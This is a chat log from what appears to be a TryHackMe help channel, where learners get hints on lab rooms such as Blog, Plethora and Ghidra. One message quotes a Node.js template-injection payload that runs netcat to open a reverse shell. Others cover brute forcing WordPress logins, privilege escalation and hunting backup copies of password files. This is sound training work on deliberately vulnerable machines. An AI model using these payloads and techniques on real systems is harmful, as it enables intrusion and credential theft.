Get a shell as a real user rather than the webserver user.

white salmon
#

How do I upload .exe file?

#

I'm doing it manually without metasploit

stuck fractal
#

There's a dozen ways

#

But you can use a webserver on your machine as one of them

white salmon
#

Hi guys, please a hint for Blog room. I have the reverse shell with www-data user. i run linpeas, linenum, linux-smart-enumeration but i really don't understand how to privesc this room..

#

Gotcha start a local webserver and download exe from there , Can do this because both machines are in same local network. The box doesn't has internet I think?

stuck fractal
#

You're correct

white salmon
#

Thanks 😄

#

HI, I need a hint for blog room. I run Lse.sh for linx enumeration and I found ||/usr/sbin/checker||, is the right way?

stuck fractal
#

Please mark as a spoiler

white salmon
#

Done

trim haven
#

maybe try going down the route and see if it's the right way yourself?

buoyant hatch
#

Where should I do the dir scan?

stuck fractal
#

@buoyant hatch huh?

buoyant hatch
#

I am doing dir brute force, found nothing 😑

stuck fractal
#

You won't find anything interesting

buoyant hatch
#

Yeah I know that from hint 😁 that's why I asked where should I do brureforce

#

Any hint

minor linden
#

I am trying to do the christmas challenge but i cant find any cookies for the first day question:

#

What am i doing wrong?

stuck fractal
#

You need to create an account

minor linden
#

lel ok

buoyant hatch
#

Any hint for mr

#

Me

stuck fractal
#

@buoyant hatch maybe trust your instincts and try things

buoyant hatch
#

🙄

stuck fractal
#

You suggested something

#

Try that thing

rotund skiff
#

stuck on the juiceshop portion of the Plethora room. Tried running this ||#{global.process.mainModule.require('child_process').exec('nc -e /bin/bash 127.0.0.1 4444')}|| from one of the writeups and replaced the IP with my tun0 IP but no shell in my listener. Am I headed in the right direction?

stuck fractal
#

stuck on the juiceshop portion of the Plethora room. Tried running this ||#{global.process.mainModule.require('child_process').exec('nc -e /bin/bash 127.0.0.1 4444')}|| from one of the writeups and replaced the IP with my tun0 IP but no shell in my listener. Am I headed in the right direction?
@rotund skiff Fun fact. Juiceshop in a docker container breaks ||SSTI|| which is the vuln you're trying to exploit.

#

The room is broken, you're doing it right

#

Except nc -e rarely works

rotund skiff
#

alright, so is there a working solution with the docker?

stuck fractal
#

Nope

#

But you have access to the host OS, so you can get the flag via the container's filesystem

rotund skiff
#

alright, thank you

chilly mantle
#

im stuck after running lse in blog any hints?

oblique cliff
#

@chilly mantle don’t post in multiple channels

chilly mantle
#

didnt ||get|| reply

stuck fractal
#

maybe wait more than 4 minutes?

oblique cliff
#

You waited 3 minutes

chilly mantle
#

ok have seen multiple people ask in both chats soo i posted

stuck fractal
#

im stuck after running lse in blog any hints?
@chilly mantle Look at your results.

chilly mantle
#

ok bro

stuck fractal
#

Not your bro.

patent token
chilly mantle
#

😂 👍

#

%never mind

stuck fractal
patent token
chilly mantle
#

🤨

stuck fractal
#

Nah

#

People not trying at all first

#

Problem that's on the rise ATM

serene light
#

I am doing task 4, question 2, in room CC: Ghidra. I am having trouble determining "first variable set to". I see the function that should logically set it, but the answer is not correct. I expect the answer to be a two character, negative like number, but maybe my understanding is off

oblique cliff
#

@serene light I haven’t done that room. But the * tell you how many characters the answer should be. So you can look at that as your hint, maybe?

stuck fractal
#

Are you in the decompiler view or the assembly view?

serene light
#

yes it is 2 chars, @oblique cliff --trying the two i expect ... @stuck fractal decompiler

stuck fractal
#

Are you being given the value in 0xsomething format?

#

That means it's hex

oblique cliff
#

Gotcha that’s the extent of my help on this one then sorry

stuck fractal
#

You might need to convert to decimal

serene light
#

but honestly I dont understand some of the code logic. hmmm. let me think on that decimal conversion for a second...

#

im expecting int, but will checkout decimal

stuck fractal
#

An int is an integer

oblique cliff
#

Decimal means base 10 it can still be an integer

stuck fractal
#

Decimal isn't the datatype

#

It's the number base

#

decimal is what you use day-to-day

chilly mantle
#

found ||/usr/sbin/checker|| and need some hint after that

stuck fractal
#

@chilly mantle What do you think you should do with that file?

serene light
#

the answer field expects only 2 characters, not sure decimal will work

stuck fractal
#

Huh?

#

if it's a number, then that's fine

#

The standard number system that you learnt to count in

oblique cliff
#

@serene light I don’t think you understood what we meant by decimal. 10, 11, 12.

#

These are all decimal numbers

stuck fractal
#

we don't mean like 0.1

#

That'd be a float or a double

#

basically, you might need to convert hex to a normal number

#

like 0x13 = 16+3 = 19

oblique cliff
#

Google hex to decimal converter

serene light
#

yeah, definitely misunderstood...

winged cypress
#

Hello, I'm new and I just want to say I'm learning a lot just from reading you help other people. Thank you @stuck fractal @oblique cliff

oblique cliff
#

Velkommen :)

stuck fractal
#

Some of us who've studied computer science forget that most people don't know decimal/binary/hex

#

Read the task title @white salmon

white salmon
stuck fractal
#

The title tells you what you're talking about

#

Most likely Sudo

#

So you've been told about man pages and help options

#

Read those

#

If that doesn't work, do some googling

white salmon
#

ok gonna check man sudo

#

I always thought it's su but apparently not 😂

oblique cliff
#

That’s to switch users. Sudo is to run a command as a different user

white salmon
#

Ahh

stuck fractal
#

And sudo su can make you root, which is useful

white salmon
#

yup makes sense

stuck fractal
#

You can't log in as root on ubuntu by default

#

There's no password set

#

You have to become root using sudo or login using SSH keys

white salmon
#

hi, i'm in room Blog and i'm stuck at the reverse of the checker. any hint?

stuck fractal
#

Look at it in a decompiler

#

Look at system calls

white salmon
#

ok thank you, i'll try

winged cypress
#

Hello, is the MACHINE_IP the public IP of the VM?

solemn smelt
#

it is the IP of the machine none of the machines I know of have public IPS

stuck fractal
#

Hello, is the MACHINE_IP the public IP of the VM?
@winged cypress You need to click deploy.

winged cypress
#

Thank you for the response. How do I find the MACHINE_IP of the VM I am working with? I use "ifconfig" but I am not sure which ip address I need to use.

stuck fractal
#

it is the IP of the machine none of the machines I know of have public IPS
@solemn smelt Some do.

#

When you click "Deploy" in the room, it creates the VM

#

That will replace MACHINE_IP with the IP of the VM

winged cypress
#

I see, thank you very much!

stuck fractal
#

That's the machine you're attacking

#

ifconfig gives you IPs for your machine

#

Your attacker machine

serene light
#

I am doing task 4, question 2, in room CC: Ghidra. I am having trouble determining "first variable set to". I see the function that should logically set it, but the answer is not correct. I expect the answer to be a two character, negative like number, but maybe my understanding is off
@serene light so decimal clarification was helpful. thanks everyone for that. I have determined the correct answer via accident, I am still trying to figure out the logic. not sure how much I can give away here, but I believe its due to a special character

winged cypress
#

Thank you @stuck fractal that really helps!

chilly mantle
#

@stuck fractal i completed!

#

blog!

turbid spruce
#

Hey there
in the room "25daysofchristmas" (2019 christmas challenge)
in the task 9 [day4]
subquestion 7
Any hints?

Context
I'm a user on a machine i am not root and i'm not a sudoers (running sudo -l echo me a srotty you cannot use sudo). The question is asking for the hash of the mcsysadmin. Easiest way i thought is to look in the etc/shadow file but im not root and i cant sudo. I theoretically get the hash trying the most common hash mode and generating the has for the passwd that i know, is it like that or am i going offroad adn there's an other way easier way?

stuck fractal
#

@stuck fractal i completed!
@chilly mantle See what happens when you actually try?

#

Hey there
in the room "25daysofchristmas" (2019 christmas challenge)
in the task 9 [day4]
subquestion 7
Any hints?

Context
I'm a user on a machine i am not root and i'm not a sudoers (running sudo -l echo me a srotty you cannot use sudo). The question is asking for the hash of the mcsysadmin. Easiest way i thought is to look in the etc/shadow file but im not root and i cant sudo. I theoretically get the hash trying the most common hash mode and generating the has for the passwd that i know, is it like that or am i going offroad adn there's an other way easier way?
@turbid spruce Without knowing the salt, you can't generate their hash

turbid spruce
#

forgot about salt and pepper yeah u right

stuck fractal
#

There was a line in the supporting material. Sensitive system files are often backed up, with file extensions like .bak

#

No one cares about pepper

#

But try looking for .bak files

turbid spruce
#

yeah thanks i'll do it right now, i appreciate it

winged cypress
#

Hi, I am doing the "Learn Linux" room. On Task 11 why do we need to create a noot.txt file to run a binary command for shiba1?

the command "./shiba1" means to execute a file called "shiba1" in the current directory, correct? But when using the command "ls", no such file is listed?

#

never mind, there is a shiba1 file.

#

Why does the room direct the user to create a noot.txt file, though?

stuck fractal
#

On Task 11 why do we need to create a noot.txt file to run a binary command for shiba1? The binary checks that the file exists

#

If it does, you get the password

winged cypress
#

ahhh

stuck fractal
#

A binary is just a program

winged cypress
#

Thank you.

#

That's very cool!

oblique cliff
#

Computers are very cool indeed

winged cypress
#

fascinating!

obsidian fog
#

Can somebody help with a nudge for blog room. I am www-data user, not sure how to upgrade to bjoel user. I ran lse, linenum and linpeas but couldn't find anything useful other then the DB and Joel's wordpress password. but that's not valid for bjoel su or ssh. any nudges?

patent token
#

Consider that you don't actually need to upgrade to bjoel.

steel fiber
#

Hello, I'm on day 11 of Advent of cyber and stucked on ftp part, it returns "500 Illegal PORT command.; ftp: bind: Address already in use" every time i try to execute a command like ls or get, should it happen?

stuck fractal
#

Switch to an EU VPN server

steel fiber
#

Thanks, I'll try

white salmon
#

@stuck fractal excuse me again, i'm looking at the system call but i don't understand how to interact with them.. any suggestion for me please?

stuck fractal
#

Try to understand the code

white salmon
#

the entire code or i need to focus on the main?

sturdy shadow
#

:

@potent quail @sturdy shadow change the payload, it will help
@crisp wigeon Thanks that worked.

stuck fractal
#

the entire code or i need to focus on the main?
@white salmon Have you done any RE before?

#

This is probably basic level RE

white salmon
#

nope..

verbal wedge
#

Yeah I would wager you don't need gdb at all for this

#

But it helps

hexed kindle
#

Need a hint for the Bonus challenge in Learn Linux 🙂

#

Task 43. Only task preventing me from finishing the room

stuck fractal
#

nope..
@white salmon I recommend taking a break and learning some basic RE then

#

Ghidra/cutter/r2

minor linden
#

i am trying week 2 of christmas challenge now and i found the hidden page

#

but where am i supposed to search for the password

#

ive tried a lot and cant find it

stuck fractal
#

...Week 2?

minor linden
#

uhm sorry

#

day 2

#

this lol

stuck fractal
#

Check the page source

#

And do some research on the site it mentioned

minor linden
#

yeah i got it now but i think at the place where i looked

#

there was supposed to be a link

#

but it wasnt there

#

there was no link here xd

#

think it was supposed to be there?

stuck fractal
#

There wasn't supposed to be a link

#

you're told github repo

#

so you do some searching on github

minor linden
#

ah okay thx

sturdy shadow
#

Blog box - Spent today enumerating and still cannot see a privesc out of www.data or a way to find user.txt. Please can someone point me in the right direction. Many thanks.

stuck fractal
#

Run some privesc enumeration scripts

#

Pay attention to the output

sturdy shadow
#

Run some privesc enumeration scripts
@stuck fractal Tried most of the usual scripts, maybe spending a day on this box has made me blind:-)

stuck fractal
#

I found it without scripts

sturdy shadow
odd idol
#

I am having problems decrypting pgp keys, I am getting the following error, gpg: decryption failed: secret key not available

stuck fractal
#

Did you import the secret key?

#

Are you decrypting keys or files?

#

What room, task, question?

odd idol
#

decrypting keys

#

its the tomghost room

stuck fractal
#

You need to import the key

#

You might need to crack a passphrase

odd idol
#

I used gpg2john to convert the key, then cracked it with john

stuck fractal
#

So you still need to import the key

#

Then you can decrypt the files using that key

odd idol
#

aaah ok, thanks

#

just to check, the key is the output from john? of the actual pgp file?

stuck fractal
#

Nope?

odd idol
#

got it! I've never done pgp before

#

any recomendations for rooms??

stuck fractal
#

I have a room on this coming soon

odd idol
#

ok great!

stuck fractal
#

Are you a subscriber?

odd idol
#

yeah

stuck fractal
#

You'll be able to do it when it comes out then

#

Don't have an ETA at the moment, but it's ready to be released

twin shale
#

Blog completed

#

If anybody need help, feel free to pm me

#

I loved the room

white salmon
#

@stuck fractal thank you for the suggestions, i'm starting to practice on RE. i will let you know if i have problem

stuck fractal
#

Just ask here if it's THM content

twin shale
#

NamelessOne genius

stuck fractal
#

No need for me specifically

#

@verbal wedge ^ ❤️

odd idol
#

Don't have an ETA at the moment, but it's ready to be released
@stuck fractal Thanks a lot, I will keep an eye out for it!

verbal wedge
#

I'm glad you liked it

#

It was a pain in the ass to configure lol

twin shale
#

hahaha

#

It was worth it

#

I guess

oblique cliff
cedar coral
#

hi , need some help in Blog . thanx

torn pine
#

@cedar coral You got to let us know more? Room, task, question, what have you tried and where do you fail?

verbal wedge
#

^

#

I can help but need something to go off of

sick coyote
#

Hey I found user.txt for Jeff, but it does not seem to work. ||I ran md5sum on user.txt. Ran it on the whole contents and the content between the {}. Did the same with sha1sum but no luck|| What am I doing wrong?

white salmon
#

add THM in front of it

sick coyote
#

Thanks! Got it

mild eagle
#

moved from general 🙂 . When running hydra i get the below but how do i get see the password ? STATUS] 1646.00 tries/min, 1646 tries in 00:01h, 14342753 to do in 145:14h, 16 active
[80][http-post-form] host: IP login: USERNAME
1 of 1 target successfully completed, 1 valid password found

stuck fractal
#

When hydra says login rather than username and password, it means it was the same for both

#

Or you only fuzzed one field (I think, not so sure about this one)

mild eagle
#

arh okay

stuck fractal
#

Even if you know the username, ^USER^ and -l username

mild eagle
#

Guess it makes sense 🙂

stuck fractal
#

Hydra is a fairly weird tool for web stuff. Not always as intuitive as it should be

dull palm
#

so retro and blaster are basically the same room, but i can not get the verisighn site to open in retro, so that exploit doesnt work. looked at MuirlandOracle writeup, but IE never opens

stuck fractal
#

Retro is intentionally a bit broken

#

That's why blaster was made

dull palm
#

so not completable or just a different way?

stuck fractal
#

It's completable sometimes, really hit or miss

white salmon
#

you can get privesc of retro with an other exploit

#

can't remember which one

oblique cliff
#

@dull palm what evil maid said. The intended exploit didn’t work for me when I did that room either

brisk bluff
#

i did the room just a few days ago. I had the same struggle. then out of nowhere it suddenly did work, its a bit wonky

dull palm
#

Thank yall, laptop is now having a fit. I will figure it out.

mellow notch
#

Hey everyone, not very good at reversing/decompiling ELFs. Any advice/resources for dealing with Blog??

white salmon
#

try ghidra

mellow notch
#

Alright I’ll check it out now. Appreciate it 👍

stuck fractal
#

Eh, a decompiler goes a long way here

mellow notch
#

Hey ninja, I’m not too savvy with Linux decompilers. Did some googling and used gdb/objdump and was able to see what was going on. Ended up running through ghidra and the code is very clear in there.

#

So working on exploiting it now

stuck fractal
#

I use Cutter

#

Which is a gui for radare

#

You can install ghidra's decompiler (Or the appimage for linux ships with it)

mellow notch
#

Okay, heard lots of people mention radare in other rooms

#

I’ll check that out as well

toxic scarab
#

So working on exploiting it now
@mellow notch just an FYI/hint -- once you see what to exploit, it shouldn't take more than a few seconds to implement. if it does, you're on the wrong track.

verbal wedge
#

@mellow notch just an FYI/hint -- once you see what to exploit, it shouldn't take more than a few seconds to implement. if it does, you're on the wrong track.
@toxic scarab

What he said

mellow notch
#

Thanks everyone, got it figured out. I have done this exploit before dozens of times.... major brain block for a bit. Idk why I didn’t recognize it immediately.

oblique cliff
#

Room uopeasy, anyone know how to do the sqli manually? the hint uses sqlmap, but id like to learn the manual method. Question 6

hexed kindle
#

Has anyone here finished Learn Linux? Need a hint to finish the final task - The True Ending

trim haven
#

Make sure to look really hard through all the user directories you have access to

hexed kindle
#

That's exactly what I am doing right now 😄. I think I found the user who is on the sudoers list.

oblique cliff
#

nice then you should be on track!

oblique cliff
#

so uh... Room" uopeasy, i run sqlmap and it doesnt dump anything to answer questions 7 or 8. I ran it as in the hint. Is there something i need to then do after that to dump a certain table? I tried to dump the ||phpmyadmin table|| but that doesnt seem to give anything back

cold night
#

Need help for attackerkb room of question what type of attacker it is

stuck fractal
#

Go to the exploit page, first "comment" thing

cold night
#

I get webmin page

#

link but I don't find any attacker type there

stuck fractal
#

On attackerkb

#

First comment thing

#

States it explicitly.

cold night
#

yes on that I have found the webmin official issue page

stuck fractal
#

No

#

The attackerkb page

cold night
#

but don't get

stuck fractal
#

The first comment type thing on there

cold night
stuck fractal
#

Wrong page.

#

Look on the attackerkb article

cold night
#

I get this link from the comment

stuck fractal
#

I've said this 3 times

cold night
#

this one

#

I have checked that

stuck fractal
#

The page.

#

But not that comment.

#

The first comment type thing on there
@stuck fractal

cold night
#

but don't get anything

stuck fractal
#

I've told you where to look

cold night
#

got it bro

stuck fractal
#

See what happens when you don't ignore when people try to help you?

wicked kettle
#

I'm stuck at [Task 43] Bonus Challenge - The True Ending in Learn Linux
I feel that it's something to do with user shiba2, however no luck.
Any hint would be appriciated.

toxic scarab
#

did you try anything?

wicked kettle
#

It's solution 😦

cold night
#

any hints?? for ra room

toxic scarab
#

what have you done?

#

use spoilers if necessary

fresh sphinx
#

can anyone explain me how exactly I make a GET request with the path as stated above?

stuck fractal
#

Have you considered googling how to make a GET request?

#

Or looking back through the content in the room, where it explains how?

fresh sphinx
#

obviously

#

but I was in school a bit slow already

#

I will try one more time tho, and come back very mad when I still havent figured it out, hope that is ok

stuck fractal
#

There's no shame in taking a break for a while

#

Taking a walk

tribal ginkgo
#

hey can anyone help me with the last part of the cc:radare2 room

#

i can't seem to find anything

robust lagoon
#

Did anyone manage to exploit Blog manually and get command execution? I am stuck at the last part, calling the post i just made with cmd. Not getting the same post request as the PoC on github

wooden mist
#

I didn't fully succeed with that but i want to get the manual exploitation part done for the writeup soon™
the JS script didn't properly send the payload I think

robust lagoon
#

Yeah same, stuck there. I tried adding cmd=id or whatever as part of the json request but only getting the contents of the page

#

If you make it work please share the blog post with me vent

wooden mist
#

if i can't get it to work I might make a python/js script for that

robust lagoon
#

I looked into the js exploit you have already in kali, or the metasploit module. Seems to check out tho

wooden mist
#

yeah

robust lagoon
#

Cool. I'll keep an eye out. Thanks for that

wooden mist
#

if you want to progress now you might want to try the metasploit module as I didn't see any other PoC's for this one

robust lagoon
#

Yeah already did, rooted now. Was exploring other options to keep myself busy yell_cat

burnt cosmos
#

How long should the bruteforce for blog take?

wooden mist
#

Not longer than 5 minutes

#

Took 2 for me with 64 threads

white salmon
#

Hello, I have a question for Blog, the new room, just Yes or No. Is there any Binary reverse enginnering involved, or i can't figure it out?

wooden mist
#

it's useful but not necessarily required

verbal wedge
#

^

green sorrel
#

Is it guaranteed that the exploit to get onto the blog box is ||CVE-2019-8942||

wooden mist
#

yes

verbal wedge
#

Yes

green sorrel
#

rip I tried it and it didn't wanna work so I went down the rabbithole of ||SMB shares||

wooden mist
#

did you try to do it manually?

green sorrel
#

nah

#

used pub scripts

wooden mist
#

js script?

green sorrel
#

the one from exploitdb ye but I couldn't figure out how to embed the shell

wooden mist
#

afaik that one is broken

#

try using the metasploit module for this cve

green sorrel
#

alright

#

can I DM one of you about the metasploit method

wooden mist
#

sure

radiant dew
#

Is there a list of THM blue-team rooms anywhere? Things like SIEM, malware analysis, digital forensics, phishing, IR, etc

patent token
#

Blue Primer.

bronze yarrow
#

alright
@green sorrel You may need to change the ||payload||

indigo ridge
#

room Blog, please hint for www-data -> bjoel

wooden mist
#

hint: skip bjoel

indigo ridge
#

direct root?

wooden mist
indigo ridge
#

hint: skip bjoel
@wooden mist I am getting nowhere.. any hint

wooden mist
#

suid

indigo ridge
#

ok

sinful plaza
#

any hint on the blog room i have the username ||bjoel || have been brute forcing the login page but no luck

indigo ridge
#

there are some more users

any hint on the blog room i have the username ||bjoel || have been brute forcing the login page but no luck
@sinful plaza

sinful plaza
#

there are some more users
@sinful plaza
@indigo ridge thanks man

#

let me give a try

merry helm
#

@sinful plaza Manual enumeration of Wordpress environments sometimes gets in the way of more than help, try an automated tool like wpscan to do this job, it will give you the return to climb another step in the room

sinful plaza
#

@sinful plaza Manual enumeration of Wordpress environments sometimes gets in the way of more than help, try an automated tool like wpscan to do this job, it will give you the return to climb another step in the room
@merry helm thanks a lot bro let me use wpscan

verbal wedge
#

Feels good to see everyone trying out Blog lol

fallen sedge
#

Hello guys, i need some help with blog. I have a problem with my meterpreter session. Thanks.

mellow notch
#

What’s wrong with your session?

fallen sedge
#

Thank you for the answer. I have an error when i want to go in the directory with the user.txt. Stdapi_fs_stat

mellow notch
#

Did you check the permissions of the directory where user.txt is? You won’t be able to access it as a low level user.

fallen sedge
#

Ok thank you, i will check that.

mellow notch
#

No problem 👍🏼 happy to help.

burnt dust
#

billy

stuck fractal
#

Wrong chat.

burnt dust
#

i meant billy joel (blog.thm) hint ?

stuck fractal
#

The room title is Blog.

burnt dust
#

damn. my bad

stuck fractal
#

Hints depend on what stage you're at

#

You can't get a hint if we don't know what part you're at

burnt dust
#

@stuck fractal thanks for correction, yes the room name is Blog.
I think I am on the first stage (trying to getting USER.txt and than ROOT.txt), tried various password combos to get into WP admin portal, but PASS fails, in my enum phase I got wordpress version, wordpress valid usernames, rabbit hole (smb), QR code etc...
what direction should I look for ?

stuck fractal
#

You should have two users.

burnt dust
#

indeed, yes !

stuck fractal
#

Try some simple brute force on each, for about 5 minutes

#

Use wpenum

burnt dust
#

hmmm ok. i use wpscan mostly 😕

stuck fractal
#

That's the one

#

Names are all similar

burnt dust
#

i hope i found the valid pass in ROCKYOU.txt.
lets see !

stuck fractal
#

If you need to brute force on tryhackme, the password will be in rockyou

#

And it will take under 5 minutes to get it.

burnt dust
#

@stuck fractal Thanks 👍
for helping a newbie.

stuck fractal
#

If it takes more than 5 minutes, you're usually doing something wrong.

burnt dust
#

got it. understood.
5-8 minutes is the baseline. I got it.

stuck fractal
#

5 minutes is the limit for room creators

burnt dust
#

thanks for this info.

verbal wedge
#

Can confirm it should only take about 2 minutes with 64 threads

burnt dust
#

@verbal wedge 64 threads gulps

#

i ran one user for 7 minutes
then canceled it, now running 2nd user
lets see

trim haven
#

Be aware, 5 minutes is for a decent computer so if you don’t get the password and are stuck let them run for 10 minutes instead

burnt dust
#

@trim haven hmmm
IMO the creators should take this into consideration. and decrease the time limit to 2,2:30 mints

trim haven
#

They shouldn’t, you shouldn’t be hacking on a slow computer.

burnt dust
#

lol

trim haven
#

I’m sure your computer is fine but some people hack on old laptops which is why I’m telling you to be aware

verbal wedge
#

I did purposely lower it

#

I had originally selected a password further down in rockyou that was taking only 4 minutes ish for me

#

But when a tester tested it it was taking a loooong time

burnt dust
#

because of VPN, 4minutes may get translated into more than 4 minutes !
(i think)

#

so, I dont think its about having a FAST CPU or not, the traffic on VPN is usually slow 😕

verbal wedge
#

It would contribute a slight amount of time but not that much I don't think

burnt dust
#

hmm, maybe you're right .

verbal wedge
#

Also you said you were trying for bjoel

#

His password won't be crackable

#

At least not using rockyou

burnt dust
#

lol. i got it

verbal wedge
#

Which is the standard

burnt dust
#

06:44 seconds for me

#

is the time

#

guys

#

^_^

#

thanks ppl.

verbal wedge
#

Now comes the hard part lol

burnt dust
#

🤦‍♂️